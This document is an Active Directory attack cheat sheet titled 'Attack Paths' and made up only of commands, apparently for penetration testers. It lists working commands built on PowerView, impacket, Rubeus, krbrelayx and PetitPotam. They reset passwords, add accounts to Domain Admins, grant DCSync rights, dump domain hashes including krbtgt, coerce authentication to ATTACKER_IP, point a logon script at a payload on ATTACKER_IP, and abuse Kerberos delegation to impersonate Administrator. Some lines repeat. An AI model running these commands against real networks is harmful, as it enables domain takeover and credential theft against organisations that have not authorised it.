Attack Paths

Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)

rpcclient -U "DOMAIN/USER%Password" DC01 -c "setuserinfo2 TARGET 23 'NewP@ss123'"

Add-DomainGroupMember -Identity 'Domain Admins' -Members TARGET

net rpc group addmem "Domain Admins" "TARGET" -U "DOMAIN/USER%Password" -S DC01

Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)

rpcclient -U "DOMAIN/USER%Password" DC01 -c "setuserinfo2 TARGET 23 'NewP@ss123'"

impacket-changepasswd 'DOMAIN/TARGET@DC01' -newpass 'NewP@ss123' -reset -altuser 'DOMAIN/ATTACKER' -altpass 'Password'

Add-DomainGroupMember -Identity 'Domain Admins' -Members TARGET

net rpc group addmem "Domain Admins" "TARGET" -U "DOMAIN/USER%Password" -S DC01

Set-DomainObject -Identity TARGET -Set @{serviceprincipalname='nonexistent/BLAH'}

# addspn.py is part of krbrelayx, not impacket
python addspn.py -u 'DOMAIN\ATTACKER' -p 'Password' -s 'nonexistent/BLAH' -t 'TARGET' DC01

Set-DomainObject -Identity TARGET -Set @{scriptpath='\\ATTACKER_IP\share\payload.ps1'}

Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity ATTACKER -Rights DCSync

Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity ATTACKER -Rights All

Set-DomainObjectOwner -Identity TARGET -OwnerIdentity ATTACKER
Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity ATTACKER -Rights All

Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)

Set-DomainObject -Identity TARGET -Set @{serviceprincipalname='fake/spn'}
Get-DomainSPNTicket -SPN 'fake/spn' -OutputFormat Hashcat

impacket-secretsdump 'DOMAIN/USER:Password@DC01'

impacket-secretsdump 'DOMAIN/USER:Password@DC01' -just-dc-ntlm

impacket-secretsdump 'DOMAIN/USER:Password@DC01' -just-dc-user krbtgt

impacket-secretsdump 'DOMAIN/USER@DC01' -hashes LMHASH:NTHASH -just-dc-ntlm

.\Rubeus.exe monitor /interval:5 /nowrap

# printerbug.py is part of krbrelayx, not impacket
python printerbug.py 'DOMAIN/USER:Password@DC01' ATTACKER_IP

# PetitPotam.py is from topotam/PetitPotam, not impacket
python PetitPotam.py ATTACKER_IP DC01

.\Rubeus.exe ptt /ticket:<base64>

.\Rubeus.exe s4u /user:SVC_ACCOUNT /rc4:NTHASH /impersonateuser:Administrator /msdsspn:cifs/DC01.domain.local /ptt

impacket-getST -spn 'cifs/DC01.domain.local' -impersonate Administrator 'DOMAIN/SVC_ACCOUNT' -hashes LMHASH:NTHASH

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass 'DOMAIN/[email protected]'

Set-DomainRBCD -Identity TARGET_COMPUTER -DelegateFrom ATTACKER_COMPUTER

impacket-rbcd -f ATTACKER_COMPUTER -t TARGET_COMPUTER -dc-ip DC01 'DOMAIN/USER:Password'

impacket-getST -spn 'cifs/TARGET_COMPUTER.domain.local' -impersonate Administrator 'DOMAIN/ATTACKER_COMPUTER$' -hashes LMHASH:NTHASH